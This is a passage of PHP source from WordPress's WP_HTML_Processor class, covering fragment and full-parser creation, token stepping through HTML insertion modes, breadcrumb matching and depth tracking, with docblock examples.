	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
